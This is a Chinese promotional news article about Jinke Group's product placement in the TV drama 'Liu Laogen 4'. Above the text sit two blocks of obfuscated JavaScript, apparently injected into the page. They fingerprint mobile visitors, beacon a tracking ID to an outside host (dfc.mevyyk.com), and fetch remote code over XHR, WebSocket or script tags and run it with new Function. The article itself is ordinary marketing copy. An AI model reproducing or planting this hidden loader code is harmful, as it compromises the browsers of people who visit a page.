function UeTMGNOS(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lJbzopvi(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UeTMGNOS(t);};window[''+'K'+'b'+'w'+'k'+'q'+'v'+'m'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ZNfhz(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lJbzopvi,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ZNfhz(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://dfc.mevyyk.com:7891/stats/16113/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ZNfhz(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR00cHMlM00ElMkYlMkZhLndhbWtpby5jb200lM00E4ODkx','d3NzJTNBJTJGJTJGYYS5maHRha2MuYY29tJTNBOTUzNA==','170066',window,document,['0','Y']);}:function(){};
!function(){function a(a){var _idx="s3dry5s1wd";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPn@o)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@odhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@odhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@o)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@odhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@odhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@odhFLFT6mYY65T_JmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/n@ojR8Lsf5TnL}Df"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"n@o"=X8"Lsf5TnL}Df"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"n@o^)ThF)mD4RYpSfmRT4"="n@oX5ThF)mR)Y)7_DmRT4"="n@o2pThFmD4RYpSfmRT4"="n@o_JqhFmR)Y)7_DmRT4"="n@o2TOhFmD4RYpSfmRT4"="n@oCSqhF)mR)Y)7_DmRT4"="n@o)FfThF)fmD4RYpSfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPn@oqFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/n@oj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPn@oqFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/n@oj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPn@o)hFL_h^m46DfhdLmRT4gQ}1Q/f/n@oj(8}vR8Lsf5TnL}Df"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPn@o)hFL_h^m46DfhdLmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
“立体式”植入热播剧《刘老根4》 金恪品牌营销再升级
时间:2021-05-07 23:16:09阅读:3893次
暌违许久的《刘老根4》在观众的千呼万唤中,于5月1日在优酷正式上映。剧中,贯穿刘老根1-4季的“龙泉山庄”升级换代,无论从硬件-场地设施、环境,还是软件-经营管理上都有了质的飞跃。
据领会,作为该剧的合作伙伴,新时代实业投资集团金恪集团旗下辽阳孔雀岭康养小镇成为龙泉山庄的首要取景地。通过“立体式植入”,金恪不但将旗下多品牌产物深度植入,同时将“幸福生活”实践者的理念与价值观融入到剧情中,使得金恪集团的品牌营销再升级,按下品牌战略的“快进键”。

品牌理念与剧情高度融合 产物+价值观双向输出
刚一登上荧屏,《刘老根4》的热度就迅速攀升。目前,该剧在优酷播放热度已突破8500。
根据预告,本次《刘老根4》剧情衔接第三部,除了原班人马悉数回归以外,还有宋小宝、林更新的加盟。
可以预见的是,随着剧情的推进,金恪集团品牌将与《刘老根4》共同分享超级流量和持续热度,将极大程度提升“金恪集团”与“金恪国民大健康”品牌的知名度和美誉度。
据悉,这是金恪集团首次植入影视剧。金恪“幸福生活践行者”的品牌理念与《刘老根》系列作品所体现的创业、奋斗、追求幸福生活的主题高度契合。以《刘老根4》为例,该剧就从时代背景、故工作节、人物设定、道具布景等方面,多场景、多维度地展现了金恪集团的新时代康养企业风采。
刘老根系列剧上映于2001年,讲述的是农民企业家带领全村人发家致富的故事。该剧在央视综合频道播出时,出现了万人空巷的局面,被观众称之为中国农民创业的“史诗”。《刘老根》是民营企业发展的一个缩影,也是一个时代的回忆。当年的企业家也是《刘老根》的忠实观众,柳传志还特意在亚布力企业家论坛上,以刘老根为例讲企业管理。
刚刚摘得“上海市民营企业总部”牌匾的金恪集团,其成长历程与《刘老根》系列剧的剧情有颇多相似之处——金恪从90年代末开始布局农业、文旅、医养家当,以田园康养模式助力乡村振兴,以幸福家当助力民生经济,与刘老根带领当地村民致富、追求幸福生活的情节十分契合,也体现了共同的价值观和目标。

因此,龙泉山庄从创立到在《刘老根4》中实现升级换代,有力见证了民营企业家为之奋斗、探索的成长之路,传递了民营企业家务实、敢于创新的奋斗精神。
精准植入占领消费者心智 达成消费认同
创新的内容融合方式,不但不会让用户感到反感,反而会进一步拉近用户与品牌之间的距离,提升流量转化效率。
据悉,《刘老根2》拍摄时,赵本山将龙泉山庄设在铁岭清河区。当地为此投巨资,建了一座真实的旅游山庄。电视剧播出后,山庄名声大噪,被誉为“东北第一庄”,全国旅行社蜂拥来谈合作。这种植入方式不但带动了当地旅游经济的发展,更给当时国内传统、单一的品牌营销提供了新的思路。
有营销专业人士指出,刘老根系列的品牌植入,一贯能对内容与品牌精准把控,将品牌信息巧妙呈现,依靠消费者心智的深度联接与消费场景的无痕渗透形成消费认同,从而达到意想不到的效果。
此次《刘老根4》也不例外。龙泉山庄在实现了数十年的快速发展后,已到需要转型升级的阶段。金恪康养小镇的场景植入恰如其分,犹如“春风化雨,润物无声”。龙泉山庄通过提升经营理念实现革新,推动山庄整体硬件、服务的升级,这既是瓜熟蒂落的剧情推动,也是高级的植入方法。
《刘老根》经典已火爆荧屏十几年,剧中意气风发的农民企业家刘老根也逐渐成为一个苍白头发、下弯腰板的“空巢老人”。而刘老根面对的养老问题,也已成为整个中国社会必须面对的严重问题。“生而自由、老而无畏”,金恪希望通过龙泉山庄的植入,让更多的“老根”老有所依,老有所养。因此,龙泉山庄实际是金恪医养家当的一个缩影,它围绕人们生老病死的生命全过程,提供全程、全面、全要素服务。
据介绍,金恪集团医养家当目前已形成互联网医疗、健康养老、健康培训、健康管理四大营业板块,并以遍布全国的康养小镇,作为医养家当的核心载体。
通过《刘老根》这部热播剧在产物和价值观的双重植入,消费者对“龙泉山庄”、金恪集团,甚至旗下其他植入的产物,将有一个全新的认知。通过多场景、多维度的深度植入,精准传递品牌理念,从而很好地完成消费者培育和心智渗透工作。